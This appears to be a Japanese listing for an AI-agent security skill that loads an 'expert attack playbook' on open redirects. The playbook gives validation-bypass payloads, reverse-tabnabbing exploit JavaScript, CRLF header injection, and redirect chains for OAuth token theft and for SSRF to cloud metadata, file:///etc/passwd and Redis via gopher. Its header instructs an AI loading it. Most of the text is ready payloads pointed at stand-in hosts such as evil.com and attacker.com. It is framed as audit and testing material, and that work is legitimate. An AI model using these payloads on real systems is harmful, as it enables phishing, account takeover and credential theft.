open-redirect について
open-redirect は、安全でない URL リダイレクトを調査するセキュリティスキルです。発見方法や検証回避に加え、フィッシング、OAuth、CSRF、SSRF との攻撃連鎖を扱います。
主な機能
- 01リダイレクトパラメーターとシンクの発見
- 02URL 検証の回避パターン
- 03OAuth トークン窃取の攻撃連鎖
- 04CSRF・SSRF のリダイレクト連鎖
- 05タブナビングの検出と悪用
活用シーン
- 01Web アプリのリダイレクトパラメーター監査
- 02OAuth redirect_uri 検証のテスト
- 03リダイレクトを追跡する取得機能の SSRF 評価
- 04新しいタブで開く外部リンクの確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill open-redirectインストール後、Claude Code で/open-redirectを入力して読み込まれたか確認します。
詳細
スキル:オープンリダイレクト — エキスパート向け攻撃プレイブック
AI 読み込み指示:オープンリダイレクトの手法です。パラメーターを使ったリダイレクト、JavaScript シンク、フィルターのバイパスに加え、フィッシング、CSRF の Referer バイパス、OAuth トークン窃取、SSRF との連鎖を扱います。過小評価されがちですが、フィッシングや複数段階のエクスプロイトチェーンを組み立てる際の重要な要素です。
1. 基本概念
オープンリダイレクトは、アプリケーションがユーザー入力から得た URL に、検証せずにユーザーをリダイレクトすると発生します。信頼されたドメインが、フィッシングやトークン窃取の「踏み台」として使われます。
https://trusted.com/redirect?url=https://evil.com
→ User sees trusted.com in the link → clicks → lands on evil.com
2. リダイレクトパラメーターの発見
一般的なパラメーター名
?url= ?redirect= ?next= ?dest=
?destination= ?redir= ?return= ?returnUrl=
?go= ?forward= ?target= ?out=
?continue= ?link= ?view= ?to=
?ref= ?callback= ?path= ?rurl=
サーバーサイドのシンク
HTTP 301/302 Location header
PHP: header("Location: $input")
Python: redirect(input)
Java: response.sendRedirect(input)
Node: res.redirect(input)
クライアントサイド(JavaScript)のシンク
window.location = input
window.location.href = input
window.location.replace(input)
window.open(input)
document.location = input
3. フィルターバイパスの手法
| 検証方法 | バイパス方法 |
|---|---|
URL が / で始まるかを確認 | //evil.com(プロトコル相対 URL) |
ドメインに trusted.com が含まれるかを確認 | evil.com?trusted.com または trusted.com.evil.com |
http:// をブロック | //evil.com、https://evil.com、\/\/evil.com |
URL が https://trusted.com で始まるかを確認 | https://[email protected](ユーザー情報) |
正規表現 ^/[^/](相対 URL のみ) | /\evil.com(一部のブラウザーではバックスラッシュがパスとして扱われます) |
Django の endswith('target.com') | http://evil.com/www.target.com — URL のパスが対象ドメインで終わります |
| ドメインのサフィックスによる許可リスト | *.trusted.com のサブドメイン乗っ取り |
# Protocol-relative:
//evil.com
# Userinfo bypass:
https://[email protected]
# Backslash trick:
/\evil.com
/\/evil.com
# URL encoding:
https://trusted.com/%2F%2Fevil.com
# Django endswith bypass:
http://evil.com/www.target.com
http://evil.com?target.com
# Trusted site double-redirect (e.g., via Baidu link service):
https://link.target.com/?url=http://evil.com
# Special character confusion:
http://evil.com#@trusted.com # fragment as authority
http://evil.com?trusted.com # query string confusion
http://trusted.com%[email protected] # null byte truncation
# Tab/newline in URL (browser ignores whitespace):
java%09script:alert(1)
4. エクスプロイトチェーン
フィッシングの増幅
攻撃者が送信する URL:https://bigbank.com/redirect?url=https://bigbank-login.evil.com
被害者には bigbank.com が表示されます → クリックします → 偽サイトで認証情報を入力します。
OAuth トークン窃取
OAuth の redirect_uri が、認証済みドメイン上のオープンリダイレクトを許可している場合:
/authorize?redirect_uri=https://trusted.com/redirect?url=https://evil.com
→ Authorization code or token appended to evil.com URL
→ Attacker captures token from URL fragment or query
CSRF Referer バイパス
一部の CSRF 対策では、Referer ヘッダーに信頼されたドメインが含まれているかを確認します:
1. Attacker page links to: https://trusted.com/redirect?url=https://trusted.com/change-email
2. Redirect preserves Referer from trusted.com
3. CSRF protection passes because Referer = trusted.com
リダイレクト経由の SSRF
サーバーがリダイレクトを追跡する場合:
?url=https://attacker.com/redirect-to-internal
# attacker.com returns 302 → http://169.254.169.254/
# Server follows redirect → SSRF to metadata endpoint
5. テスト用チェックリスト
□ Identify all URL parameters that trigger redirects
□ Test external domain: ?url=https://evil.com
□ Test protocol-relative: ?url=//evil.com
□ Test userinfo bypass: ?url=https://[email protected]
□ Test backslash: ?url=/\evil.com
□ Test JavaScript sink: ?url=javascript:alert(1) (DOM-based)
□ Check OAuth flows for redirect_uri open redirect
□ Verify if redirect preserves auth tokens in URL
6. タブナビング(リバースタブナビング)
概要
リンクが rel="noopener" を指定せずに target="_blank" で新しいタブを開く場合:
- 新しいページから
window.openerにアクセスできます - 元のページをリダイレクトできます:
window.opener.location = "https://phishing.com/login" - ユーザーが「元の」タブに戻ると、偽のログインページが表示され、認証情報を入力します
検出
<a href="https://external.com" target="_blank">Click here</a>
<a href="https://external.com" target="_blank" rel="noopener noreferrer">Click here</a>
エクスプロイト
// On the attacker-controlled page (opened via target="_blank"):
if (window.opener) {
window.opener.location = "https://phishing.com/fake-login.html";
}
確認箇所
- リンクを含むユーザー生成コンテンツ(フォーラム、コメント、プロフィール)
- 外部ドメインへの
target="_blank"リンク - 新しいタブで開く PDF ビューアー、ドキュメントのプレビュー
7. オープンリダイレクト → OAuth トークン窃取(詳細なチェーン)
7.1 OAuth インプリシットフロー
インプリシットフローでは、アクセストークンが URL フラグメント(#access_token=...)で返されます。redirect_uri が認証済みドメイン上のオープンリダイレクトを許可している場合:
/authorize?response_type=token
&client_id=CLIENT
&redirect_uri=https://target.com/callback/../redirect?url=https://evil.com
&scope=read
Flow:
1. User authenticates → authorization server redirects to:
https://target.com/redirect?url=https://evil.com#access_token=SECRET
2. Open redirect fires → browser navigates to:
https://evil.com#access_token=SECRET
3. Attacker page reads location.hash → captures access token
7.2 認可コードフロー
認可コードはクエリパラメーターとして送信されます。リダイレクトチェーンがクエリパラメーターを保持する場合:
/authorize?response_type=code
&client_id=CLIENT
&redirect_uri=https://target.com/callback%2f..%2fredirect%3furl%3dhttps://evil.com
Flow:
1. Authorization server validates redirect_uri prefix → matches https://target.com/
2. Redirects to: https://target.com/redirect?url=https://evil.com&code=AUTH_CODE
3. Open redirect sends victim to: https://evil.com?code=AUTH_CODE
4. Attacker exchanges code for access token
7.3 OIDC id_token のフラグメント漏えい
/authorize?response_type=id_token
&client_id=CLIENT
&redirect_uri=https://target.com/cb
&nonce=NONCE
If redirect_uri points to open redirect endpoint:
→ id_token in fragment sent to attacker
→ Attacker has signed identity assertion
→ Can authenticate as victim on any RP accepting this IdP
7.4 redirect_uri の検証をバイパスするパターン
redirect_uri=https://target.com/callback/../open-redirect?url=evil.com
redirect_uri=https://target.com/callback?next=https://evil.com
redirect_uri=https://target.com/callback%[email protected]
redirect_uri=https://target.com/callback/../../redirect
redirect_uri=https://target.com/callback#@evil.com
8. オープンリダイレクト → SSRF チェーン
サーバーサイドでのリダイレクト追跡
URL プレビュー、リンクの展開、Webhook、画像取得ツールなどのサーバーサイドコンポーネントが HTTP リダイレクトを追跡する場合:
1. Submit URL to server-side fetcher: http://attacker.com/redirect
2. attacker.com responds: 302 Location: http://169.254.169.254/latest/meta-data/
3. Server follows redirect → SSRF to cloud metadata endpoint
4. Response (IAM credentials) returned to attacker or visible in preview
フィルターバイパスのための複数ホップリダイレクト
1. Server blocks direct requests to 169.254.169.254
2. Submit: http://attacker.com/r1
3. r1 → 302 → http://attacker.com/r2 (same domain, passes filter)
4. r2 → 302 → http://169.254.169.254/ (internal, filter not re-checked)
DNS リバインディングの亜種
1. attacker.com resolves to attacker's public IP (TTL=0)
2. Server resolves attacker.com → public IP → passes SSRF filter
3. Connection established, but HTTP redirect points to attacker.com again
4. Second DNS resolution: attacker.com now resolves to 169.254.169.254
5. Server follows redirect to internal address
リダイレクトプロトコルによるスコープの拡大
http://attacker.com/redirect → gopher://127.0.0.1:6379/... (Redis SSRF)
http://attacker.com/redirect → file:///etc/passwd (local file read)
http://attacker.com/redirect → dict://127.0.0.1:11211/ (Memcached)
すべての HTTP クライアントがプロトコルをまたぐリダイレクトを追跡するわけではありませんが、curl(デフォルト)や一部のライブラリは追跡します。
9. リダイレクトバイパスのための URL パーサーの混乱
リダイレクト検証関数が、最終的に URL を処理するブラウザーやサーバーとは異なる方法で URL を解析する場合:
プロトコル相対 URL
//attacker.com
→ Browser: https://attacker.com (inherits current page protocol)
→ Some validators: relative path "/attacker.com" (wrong)
バックスラッシュの解釈の混乱
\/\/attacker.com
/\/attacker.com
→ Many browsers normalize \ to / in URLs
→ Validators treating \ as path character may allow it
ユーザー情報セクションの悪用
//attacker.com\@target.com
→ Browser: navigates to attacker.com (@ is userinfo delimiter)
→ Validator sees "target.com" in the string → passes allowlist check
//[email protected]
→ Browser: userinfo=target.com, host=attacker.com
→ Validator checks "starts with target.com" → passes
https://target.com%[email protected]
→ URL-decoded: target.com/ as userinfo, host=attacker.com
二重エンコード
//attacker%252ecom
→ First decode: //attacker%2ecom (passes validator)
→ Second decode (by server/browser): //attacker.com (actual redirect)
CRLF インジェクション+リダイレクト
/%0d%0aLocation:%20https://attacker.com
→ If server reflects the path in a header context:
HTTP/1.1 302 Found
Location: /
Location: https://attacker.com ← injected header wins
フラグメントの解釈の混乱
https://target.com#@attacker.com
→ Browser: host=target.com, [email protected]
→ But some JS-based redirects: window.location = url → may process differently
https://attacker.com#.target.com
→ Validator: sees "target.com" in string → passes
→ Browser: navigates to attacker.com (fragment ignored in navigation)
特殊文字
https://attacker.com%E3%80%82target.com
→ Unicode ideographic full stop (U+3002) — some parsers treat as dot
→ Browser may normalize differently than validator
https://attacker。com (U+3002 fullwidth period)
https://attacker.com (U+FF0E fullwidth full stop)
統合 URL パーサーの差異表
| ペイロード | バリデーターが認識する内容 | ブラウザーの移動先 |
|---|---|---|
//evil.com | 相対パス | https://evil.com |
\/\/evil.com | パス \/\/evil.com | https://evil.com |
//evil.com\@target.com | target.com を含む | https://evil.com |
//[email protected] | target.com で始まる | https://evil.com |
/%0d%0aLocation: https://evil.com | パス文字列 | ヘッダーインジェクション → リダイレクト |
//evil%252ecom | evil%2ecom(ドメインではない) | evil.com(二重デコード後) |